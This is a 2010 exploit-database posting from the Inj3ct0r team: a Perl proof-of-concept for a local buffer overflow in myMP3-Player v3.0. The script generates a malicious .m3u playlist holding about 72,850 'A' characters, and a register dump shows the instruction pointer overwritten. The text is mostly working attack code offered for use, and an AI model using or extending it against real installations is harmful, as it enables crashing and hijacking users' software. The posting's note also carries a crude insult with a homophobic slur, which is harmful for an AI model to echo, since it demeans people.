myMP3-Player v3.0 (.m3u) Local Buffer Overflow PoC
Posted on 18 March 2010
================================================== myMP3-Player v3.0 (.m3u) Local Buffer Overflow PoC ================================================== #!/usr/bin/perl # myMP3-Player v3.0 (.m3u) Local Buffer Overflow PoC # 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 # 0 _ __ __ __ 1 # 1 /' __ /'__` / \__ /'__` 0 # 0 /\_, ___ /\_/\_ ___ ,_/ / _ ___ 1 # 1 /_/ /' _ ` / /_/_\_<_ /'___ / /`'__ 0 # 0 / / / / \__/ \_ \_ / 1 # 1 \_ \_ \_\_ \____/ \____\ \__\ \____/ \_ 0 # 0 /_//_//_/ \_ /___/ /____/ /__/ /___/ /_/ 1 # 1 \____/ >> Exploit database separated by exploit 0 # 0 /___/ type (local, remote, DoS, etc.) 1 # 1 1 # 0 [+] Site : Inj3ct0r.com 0 # 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 # 0 0 # 1 ###################################### 1 # 0 I'm cr4wl3r member from Inj3ct0r Team 1 # 1 ###################################### 0 # 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 # [+] Discovered By: cr4wl3r # [+] Download: http://www.chip.de/downloads/myMP3-Player-3.0_13008621.html # [+] Note: Kontol loe homo yang suka nyebar bugs tapi engga tau gimana caranya nyari bugs, sekarang gw tunjukin ke loe begini caranya #EAX 00000000 #ECX 41414141 #EDX 7C9037D8 ntdll.7C9037D8 #EBX 00000000 #ESP 0012BE40 #EBP 0012BE60 #ESI 00000000 #EDI 00000000 #EIP 41414141 #C 0 ES 0023 32bit 0(FFFFFFFF) #P 1 CS 001B 32bit 0(FFFFFFFF) #A 0 SS 0023 32bit 0(FFFFFFFF) #Z 1 DS 0023 32bit 0(FFFFFFFF) #S 0 FS 003B 32bit 7FFDF000(FFF) #T 0 GS 0000 NULL #D 0 #O 0 #EFL 00210246 (NO,NB,E,BE,NS,PE,GE,LE) #MM0 0020 0202 0000 001B #MM1 015A F2BC 8986 2BC0 #MM2 011C 0000 4020 027F #MM3 0000 0000 804D A735 #MM4 BADB 0D00 BF83 15E6 #MM5 8A1B EAB8 0000 0005 #MM6 0000 0000 0000 0000 #MM7 D1B7 1758 E219 6000 print "##################################################### "; print "[!] myMP3-Player v3.0 (.m3u) Local Buffer Overflow PoC "; print " "; print "[!] By: cr4wl3r "; print "[!] Greetz: Inj3ct0r Team r0073r, 0x1D, bL4Ck_3n91n3 "; print "##################################################### "; my $boom = "http://"."A" x 72850; my $filename = "sploit.m3u"; open (file,">$filename"); print file "$boom"; print " Done! "; # ~ - [ [ : Inj3ct0r : ] ]
